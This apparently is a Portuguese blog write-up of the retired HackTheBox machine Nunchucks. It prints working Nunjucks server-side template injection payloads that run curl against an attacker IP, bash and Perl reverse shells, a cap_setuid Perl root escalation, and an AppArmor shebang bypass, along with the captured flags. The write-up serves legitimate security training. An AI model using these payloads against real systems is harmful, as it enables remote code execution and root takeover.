DEV Community

Guilherme Martins
Guilherme Martins

Posted on

HackTheBox - Writeup Nunchucks [Retired]

Hackthebox

Neste writeup iremos explorar uma máquina linux de nível easy que ja se encontra entre as máquinas aposentadas. Esta máquina aborda as seguintes vulnerabilidades:

  • Server Side Template Injection em aplicações NodeJS
  • Linux capabilities
  • Bypass Apparmor

Recon e user flag

Iniciaremos realizando uma varredura em nosso alvo a procura de portas abertas através do nmap:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/nunchucks]
└─# nmap -sV --open -Pn 10.129.95.252
Starting Nmap 7.93 ( https://nmap.org ) at 2024-01-27 10:28 EST
Nmap scan report for 10.129.95.252
Host is up (0.25s latency).
Not shown: 997 closed tcp ports (reset)
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http     nginx 1.18.0 (Ubuntu)
443/tcp open  ssl/http nginx 1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Enter fullscreen mode Exit fullscreen mode

Ao acessar via IP a porta 80 somos redirecionados para a porta 443 que possui HTTPS.

Vamos adicionar o domínio que retorna no certificado ssl nunchucks.htb em nosso /etc/hosts.

E ao acessarmos novamente temos a seguinte página:

nunchucks.htb

Está pagina possui somente duas opções via api, login e register. No entanto não foram encontradas vulnerabilidades ou meios de exploração devido a opção estar desabilitada.

Vamos utilizar o gobuster para buscar subdomínios:

┌──(rootkali)-[/home/kali/hackthebox/machines-linux/nunchucks]
└─# wfuzz -H "Host: FUZZ.nunchucks.htb" -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt --hh 30587 https://nunchucks.htb
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************
Target: https://nunchucks.htb/
Total requests: 207630
=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                 
=====================================================================
000000193:   200        101 L    259 W      4028 Ch     "store"
Enter fullscreen mode Exit fullscreen mode

Localizamos o subdomínio store.nunchucks.htb, vamos adicionar em nosso /etc/hosts também. O novo subdomínio possui o seguinte conteúdo:

store.nunchucks.htb

Existe um campo para assinatura de um newsletter e podemos constatar que o mesmo é vulnerável a SSTI (Server Side Template Injection):

Payload aceito

Interceptando as requisições com o Burp Suite como proxy conseguimos testar diversos payloads para SSTI buscando execução de comandos.

No entanto, precisamos primeiro entender o que esta processando os dados que enviamos, qual o tipo de template que a aplicação esta usando.

Analisando as requisições e respostas através do burp suite encontramos o header X-Powered-By: Express

O Express é um framework web para NodeJS. E a partir daqui conseguimos visualizar os templates engine que o mesmo utiliza:

Template Engines

Dentre os templates temos o seguinte que nos chama atenção pelo seu nome:

https://github.com/mozilla/nunjucks

Aqui nosso foco se torna criar um payload que nos permite executar comandos em nosso alvo.

Conseguimos com a seguinte requisição:

POST /api/submit HTTP/1.1
Host: store.nunchucks.htb
Cookie: _csrf=ccjKRgyMzBCAko0I10C2MKXv
Content-Length: 128
Sec-Ch-Ua: "Not_A Brand";v="8", "Chromium";v="120"
Sec-Ch-Ua-Platform: "Linux"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: https://store.nunchucks.htb
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://store.nunchucks.htb/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=1, i
Connection: close

{"email":"{{range.constructor("return global.process.mainModule.require('child_process').execSync('curl 10.10.14.128:8081/test123')")()}}"}
Enter fullscreen mode Exit fullscreen mode

Para testar o funcionamento iremos subir um servidor web utilizando python da seguinte forma e executar a requisição acima, tendo o seguinte retorno:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/nunchucks]
└─# python -m http.server 8081
Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
10.129.95.252 - - [28/Jan/2024 07:54:40] code 404, message File not found
10.129.95.252 - - [28/Jan/2024 07:54:40] "GET /test123 HTTP/1.1" 404 -
Enter fullscreen mode Exit fullscreen mode

Foi executado com sucesso um curl para nossa máquina, batendo no endpoint que não existe, retornando o status code 404.

Agora que temos um RCE podemos utilizar para realizar o download e executar nosso reverse shell, da mesma forma que o exemplo acima.

Iremos criar o arquivo chamado rev.sh com o seguinte conteúdo:

#!/bin/bash
bash -i >& /dev/tcp/10.10.14.128/9001 0>&1
Enter fullscreen mode Exit fullscreen mode

Para realizar o download basta alterarmos nosso payload da seguinte forma:

{"email":"{{range.constructor("return global.process.mainModule.require('child_process').execSync('curl 10.10.14.128:8081/rev.sh -o /tmp/rev.sh')")()}}"}
Enter fullscreen mode Exit fullscreen mode

E temos o retorno em nosso servidor web python que o alvo conseguiu encontrar o arquivo:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/nunchucks]
└─# python -m http.server 8081
Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
10.129.95.252 - - [28/Jan/2024 07:54:40] code 404, message File not found
10.129.95.252 - - [28/Jan/2024 07:54:40] "GET /test123 HTTP/1.1" 404 -
10.129.95.252 - - [28/Jan/2024 07:57:52] "GET /rev.sh HTTP/1.1" 200 -
Enter fullscreen mode Exit fullscreen mode

Com nosso reverse shell ja no alvo, através de uma aba do terminal iremos utilizar o pwncat para ouvir na porta 9001:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/nunchucks]
└─# pwncat-cs -lp 9001        
[07:55:13] Welcome to pwncat 🐈!
Enter fullscreen mode Exit fullscreen mode

E iremos alterar nosso payload para executar nosso reverse shell, da seguinte forma:

{"email":"{{range.constructor("return global.process.mainModule.require('child_process').execSync('bash /tmp/rev.sh')")()}}"}
Enter fullscreen mode Exit fullscreen mode

Com estes passos conseguimos o seguinte retorno em nosso pwncat, com nosso shel reverso:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/nunchucks]
└─# pwncat-cs -lp 9001        
[07:55:13] Welcome to pwncat 🐈!                                                                                                          __main__.py:164
[07:58:30] received connection from 10.129.95.252:60400                                                                                        bind.py:84
[07:58:37] 10.129.95.252:60400: registered new host w/ db                                                                                  manager.py:957
(local) pwncat$                                                                                                                                          
(remote) david@nunchucks:/var/www/store.nunchucks$ id
uid=1000(david) gid=1000(david) groups=1000(david)
Enter fullscreen mode Exit fullscreen mode

Conseguindo assim a user flag:

(remote) david@nunchucks:/var/www/store.nunchucks$ ls -alh /home/
total 12K
drwxr-xr-x  3 root  root  4.0K Aug 28  2021 .
drwxr-xr-x 19 root  root  4.0K Oct 28  2021 ..
drwxr-xr-x  7 david david 4.0K Oct 22  2021 david
(remote) david@nunchucks:/var/www/store.nunchucks$ ls -alh /home/david/
total 52K
drwxr-xr-x 7 david david 4.0K Oct 22  2021 .
drwxr-xr-x 3 root  root  4.0K Aug 28  2021 ..
lrwxrwxrwx 1 root  root     9 Aug 28  2021 .bash_history -> /dev/null
-rw-r--r-- 1 david david  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 david david 3.7K Feb 25  2020 .bashrc
drwxr-xr-x 7 david david 4.0K Sep 25  2021 .cache
drwx------ 8 david david 4.0K Sep 25  2021 .config
drwx------ 3 david david 4.0K Sep 25  2021 .gnupg
drwx------ 3 david david 4.0K Sep 25  2021 .local
drwxrwxr-x 5 david david 4.0K Jan 27 15:27 .pm2
-rw-r--r-- 1 david david  807 Feb 25  2020 .profile
-r--r----- 1 root  david   33 Jan 27 15:28 user.txt
-rw------- 1 david david 5.0K Oct 22  2021 .viminfo
(remote) david@nunchucks:/var/www/store.nunchucks$ cat /home/david/user.txt 
329cc9dd22d4499ac9302bb6a4ff8bab
Enter fullscreen mode Exit fullscreen mode

Escalação de privilégios e root flag

Visando automatizar o processo de recon de nosso alvo, uma vez que temos um shell como usuário, vamos utilizar o linpeas.

O linpeas se trata de um script que realiza uma varredura no alvo levantando diversos pontos que possivelmente podem ser explorados para escalar privilégios, seja obter dados sensíveis, permissionamento, capabilities e diversos outros pontos.

Em nosso caso, dentre todas possibilidades que retornaram no output do script, temos o seguinte:

-rw-rw-r-- 1 root david 7651273 Sep 26  2021 /opt/web_backups/backup_2021-09-26-1632618416.tar
-rw-rw-r-- 1 root david 7651273 Sep 26  2021 /opt/web_backups/backup_2021-09-26-1632619104.tar
-rwxr-xr-x 1 root root 838 Sep  1  2021 /opt/backup.pl
Enter fullscreen mode Exit fullscreen mode

É um script feito em perl que possui o seguinte conteúdo:

#!/usr/bin/perl
use strict;
use POSIX qw(strftime);
use DBI;
use POSIX qw(setuid); 
POSIX::setuid(0); 

my $tmpdir        = "/tmp";
my $backup_main = '/var/www';
my $now = strftime("%Y-%m-%d-%s", localtime);
my $tmpbdir = "$tmpdir/backup_$now";

sub printlog
{
    print "[", strftime("%D %T", localtime), "] $_[0]\n";
}

sub archive
{
    printlog "Archiving...";
    system("/usr/bin/tar -zcf $tmpbdir/backup_$now.tar $backup_main/* 2>/dev/null");
    printlog "Backup complete in $tmpbdir/backup_$now.tar";
}

if ($> != 0) {
    die "You must run this script as root.\n";
}

printlog "Backup starts.";
mkdir($tmpbdir);
&archive;
printlog "Moving $tmpbdir/backup_$now to /opt/web_backups";
system("/usr/bin/mv $tmpbdir/backup_$now.tar /opt/web_backups/");
printlog "Removing temporary directory";
rmdir($tmpbdir);
printlog "Completed";
Enter fullscreen mode Exit fullscreen mode

O script realiza o backup de /var/www e salva o arquivo compactado em /opt/web_backups/.

Mas realizando o download do backup e visualizando o banco de dados (que também podemos acessar o atual) não foi encontrado nenhuma informação útil que possa ser utilizada para escalar privilégios. Existe o banco de dados da aplicação que é um sqlite, mas sem nada interessante também.

Outro ponto, que é o mais importante do output do linpeas é o seguinte:

Files with capabilities (limited to 50):
/usr/bin/perl = cap_setuid+ep
Enter fullscreen mode Exit fullscreen mode

O binário do perl possui a capabilitie cap_setuid, que permite que seja setado o uid através do binário perl, permitindo usuários sem privilégios executarem (+ep).

setuid(2) - Linux manual page

Podemos testar a execução de alguns comandos utilizando o perl via linha de comando que ver o que conseguimos executar como root:

(remote) david@nunchucks:/tmp$ /usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'
Enter fullscreen mode Exit fullscreen mode

O comando acima, assim como o script de backup, seta o uid para 0, que é do usuário root e executa o /bin/bash para criar um novo shell como root. Mas sem sucesso.

Ao alterar o comando para whoami temos sucesso:

(remote) david@nunchucks:/tmp$ id
uid=1000(david) gid=1000(david) groups=1000(david)
(remote) david@nunchucks:/tmp$ /usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "whoami";'
root
Enter fullscreen mode Exit fullscreen mode

Mas outros comandos para tentar executar um shell não funciona, como por exemplo o seguinte:

(remote) david@nunchucks:/tmp$ /usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); use Socket;$i="10.10.14.128";$p=9002;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
Enter fullscreen mode Exit fullscreen mode

O comando acima tenta após setar o user id para 0 criar uma conexão reversa com a nossa máquina na porta 9002 (que estamos ouvindo através do pwncat em outra aba do terminal).

A conexão é enviada para nosso pwncat, mas ela é encerrada logo em seguida:

┌──(root㉿kali)-[~kali/hackthebox/machines-linux/nunchucks]
└─# pwncat-cs -lp 9002
[09:48:04] Welcome to pwncat 🐈!                                                                                                          __main__.py:164
[13:45:32] received connection from 10.129.95.252:37184                                                                                         bind.py:84
[13:45:32] connection failed: channel unexpectedly closed                                                                                  manager.py:957
(local) pwncat$
Enter fullscreen mode Exit fullscreen mode

Aqui temos uma pergunta a ser respondida, por que alguns comandos funcionam e outros não.

Vemos que conseguimos executar o comando id também:

(remote) david@nunchucks:/tmp$ /usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "id";'
uid=0(root) gid=1000(david) groups=1000(david)
Enter fullscreen mode Exit fullscreen mode

Não obtivemos sucesso tentando executar um script ou um simples cat.

Existem regras que podem limitar a execução em binários, através do SELinux ou Apparmor. Em nosso caso é o Appamor, por se tratar de um ubuntu.

Verificando o apparmor encontramos a seguinte regra:

(remote) david@nunchucks:/etc/apparmor.d$ ls -alh
total 72K
drwxr-xr-x   7 root root 4.0K Oct 28  2021 .
drwxr-xr-x 125 root root  12K Oct 29  2021 ..
drwxr-xr-x   4 root root 4.0K Oct 28  2021 abstractions
drwxr-xr-x   2 root root 4.0K Oct 28  2021 disable
drwxr-xr-x   2 root root 4.0K Oct 28  2021 force-complain
drwxr-xr-x   2 root root 4.0K Oct 28  2021 local
-rw-r--r--   1 root root 1.3K May 19  2020 lsb_release
-rw-r--r--   1 root root 1.1K May 19  2020 nvidia_modprobe
-rw-r--r--   1 root root 3.2K Mar 11  2020 sbin.dhclient
drwxr-xr-x   5 root root 4.0K Oct 28  2021 tunables
-rw-r--r--   1 root root 3.2K Feb 25  2020 usr.bin.man
-rw-r--r--   1 root root  442 Sep 26  2021 usr.bin.perl
-rw-r--r--   1 root root  672 Feb 19  2020 usr.sbin.ippusbxd
-rw-r--r--   1 root root 2.0K Jul 22  2021 usr.sbin.mysqld
-rw-r--r--   1 root root 1.6K Feb 11  2020 usr.sbin.rsyslogd
-rw-r--r--   1 root root 1.4K Dec  7  2019 usr.sbin.tcpdump
(remote) david@nunchucks:/etc/apparmor.d$ cat usr.bin.perl 
# Last Modified: Tue Aug 31 18:25:30 2021
#include <tunables/global>

/usr/bin/perl {
  #include <abstractions/base>
  #include <abstractions/nameservice>
  #include <abstractions/perl>

  capability setuid,

  deny owner /etc/nsswitch.conf r,
  deny /root/* rwx,
  deny /etc/shadow rwx,

  /usr/bin/id mrix,
  /usr/bin/ls mrix,
  /usr/bin/cat mrix,
  /usr/bin/whoami mrix,
  /opt/backup.pl mrix,
  owner /home/ r,
  owner /home/david/ r,

}
Enter fullscreen mode Exit fullscreen mode

O apparmor é um MAC (Mandatory Access Control) que é implementado no kernel do linux visando controlar e limitar determinados recursos, como programas, binários e etc.

Continuando na saga para escalar privilégios para root podemos ponderar alguns pontos:

  • Somente determinados comandos conseguem ser executados devido ao apparmor
  • Não conseguimos executar nada no diretório /root, devido ao apparmor

No entanto, seguindo passos similares ao que ja tentamos foi possível executar o seguinte.

Primeiro criamos um script em perl setando o user id para 0 e executando nosso reverse shell, com o seguinte conteúdo:

#!/usr/bin/perl
use POSIX qw(setuid); POSIX::setuid(0);
use Socket;$i="10.10.14.128";$p=9002;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("sh -i");};s
Enter fullscreen mode Exit fullscreen mode

E ao executar nosso script:

(remote) david@nunchucks:/home/david$ ./exp.pl

Enter fullscreen mode Exit fullscreen mode

Temos o seguinte retorno em nosso pwncat:

┌──(rootkali)-[~kali/hackthebox/machines-linux/nunchucks]
└─# pwncat-cs -lp 9002
[14:47:11] Welcome to pwncat 🐈!                                                                                                          __main__.py:164
[14:50:31] received connection from 10.129.2.248:37982                                                                                         bind.py:84
[14:50:36] 0.0.0.0:9002: upgrading from /usr/bin/dash to /usr/bin/bash                                                                     manager.py:957
[14:50:39] 10.129.2.248:37982: registered new host w/ db                                                                                   manager.py:957
(local) pwncat$                                                                                                                                          
(remote) root@nunchucks:/home/david# id
uid=0(root) gid=1000(david) groups=1000(david)
Enter fullscreen mode Exit fullscreen mode

Buscando entender o por que do script ter executado, ao contrário da mesma execução via linha de comando foi encontrado o seguinte bug:

Bug #1911431 “Unable to prevent execution of shebang lines” : Bugs : AppArmor

Basicamente o shebang (#!) faz com que o perl ignore o apparmor e execute sem restrições.

Com isso conseguimos nossa shell como usuário root:

(remote) root@nunchucks:/home/david# cat /root/root.txt 
d24de14bd4c16c24fb1158033cafe1e9
Enter fullscreen mode Exit fullscreen mode

Conseguindo assim a root flag e finalizando a máquina Nunchucks :)

pwned machine

Top comments (0)